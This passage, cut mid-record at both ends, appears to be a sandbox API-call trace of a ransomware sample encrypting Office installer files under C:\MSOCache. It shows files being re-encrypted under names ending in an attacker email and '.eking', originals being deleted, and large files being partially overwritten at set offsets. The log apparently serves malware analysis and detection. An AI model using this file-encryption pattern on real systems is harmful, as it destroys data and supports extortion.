nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x2ed80, lpOverlapped=0x0) returned 1 [0230.621] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x2ed90, lpOverlapped=0x0) returned 1 [0230.626] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0230.626] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0230.626] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0230.626] WriteFile (in: hFile=0x1b8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2ed80, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x2ed80, lpOverlapped=0x0) returned 1 [0230.627] FlushFileBuffers (hFile=0x1b8) returned 1 [0231.329] FlushFileBuffers (hFile=0x100) returned 1 [0233.028] CloseHandle (hObject=0x1b8) returned 1 [0233.030] CloseHandle (hObject=0x100) returned 1 [0233.031] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0233.033] SetEvent (hEvent=0xe0) returned 1 [0233.034] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0233.034] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=67190) returned 1 [0233.034] CloseHandle (hObject=0x100) returned 1 [0233.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0233.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0233.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0233.035] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0233.035] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0233.035] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0233.035] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0233.035] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x10676, lpOverlapped=0x0) returned 1 [0233.055] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x10680, lpOverlapped=0x0) returned 1 [0233.058] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0233.062] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0233.062] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0233.062] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x10676, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x10676, lpOverlapped=0x0) returned 1 [0233.063] FlushFileBuffers (hFile=0x100) returned 1 [0233.175] FlushFileBuffers (hFile=0x1c0) returned 1 [0234.000] CloseHandle (hObject=0x100) returned 1 [0234.001] CloseHandle (hObject=0x1c0) returned 1 [0234.001] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0234.003] SetEvent (hEvent=0xe0) returned 1 [0234.003] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0234.003] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0234.004] CloseHandle (hObject=0x1c0) returned 1 [0234.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0234.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0234.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0234.004] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0234.004] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0234.004] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0234.004] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x100 [0234.005] ReadFile (in: hFile=0x1c0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xe00, lpOverlapped=0x0) returned 1 [0234.035] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xe10, lpOverlapped=0x0) returned 1 [0234.036] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0234.036] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0234.036] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0234.036] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xe00, lpOverlapped=0x0) returned 1 [0234.037] FlushFileBuffers (hFile=0x1c0) returned 1 [0234.353] FlushFileBuffers (hFile=0x100) returned 1 [0234.473] CloseHandle (hObject=0x1c0) returned 1 [0234.473] CloseHandle (hObject=0x100) returned 1 [0234.474] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0234.475] SetEvent (hEvent=0xe0) returned 1 [0234.475] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0234.476] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1349) returned 1 [0234.476] CloseHandle (hObject=0x100) returned 1 [0234.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0234.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0234.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0234.476] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0234.476] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0234.476] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0234.476] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0234.476] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x545, lpOverlapped=0x0) returned 1 [0234.503] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x550, lpOverlapped=0x0) returned 1 [0234.504] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0234.504] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0234.504] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0234.504] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x545, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x545, lpOverlapped=0x0) returned 1 [0234.504] FlushFileBuffers (hFile=0x100) returned 1 [0234.774] FlushFileBuffers (hFile=0x1c0) returned 1 [0235.289] CloseHandle (hObject=0x100) returned 1 [0235.289] CloseHandle (hObject=0x1c0) returned 1 [0235.290] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0235.291] SetEvent (hEvent=0xe0) returned 1 [0235.291] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0235.292] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=28016276) returned 1 [0235.292] CloseHandle (hObject=0x1c0) returned 1 [0235.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0235.292] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0235.293] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0235.293] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0235.293] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0235.293] ReadFile (in: hFile=0x1c0, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0235.398] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0235.398] ReadFile (in: hFile=0x1c0, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0235.463] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0235.463] ReadFile (in: hFile=0x1c0, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0235.677] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0235.677] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0235.704] SetEndOfFile (hFile=0x1c0) returned 1 [0235.704] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0235.704] WriteFile (in: hFile=0x1c0, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0235.706] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0235.706] WriteFile (in: hFile=0x1c0, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0235.709] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0235.709] WriteFile (in: hFile=0x1c0, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0235.746] FlushFileBuffers (hFile=0x1c0) returned 1 [0238.475] CloseHandle (hObject=0x1c0) returned 1 [0238.475] SetEvent (hEvent=0xe0) returned 1 [0238.475] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0238.485] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=819) returned 1 [0238.485] CloseHandle (hObject=0x1c0) returned 1 [0238.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0238.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0238.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0238.485] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0238.485] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0238.485] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0238.485] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0238.486] ReadFile (in: hFile=0x1c0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x333, lpOverlapped=0x0) returned 1 [0238.487] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x340, lpOverlapped=0x0) returned 1 [0238.488] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x102, lpOverlapped=0x0) returned 1 [0238.488] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0238.489] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0238.489] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x333, lpOverlapped=0x0) returned 1 [0238.489] FlushFileBuffers (hFile=0x1c0) returned 1 [0239.922] FlushFileBuffers (hFile=0x1a8) returned 1 [0240.372] CloseHandle (hObject=0x1c0) returned 1 [0240.400] CloseHandle (hObject=0x1a8) returned 1 [0240.403] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0240.404] SetEvent (hEvent=0xe0) returned 1 [0240.404] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0240.405] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2624) returned 1 [0240.405] CloseHandle (hObject=0x1a8) returned 1 [0240.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all 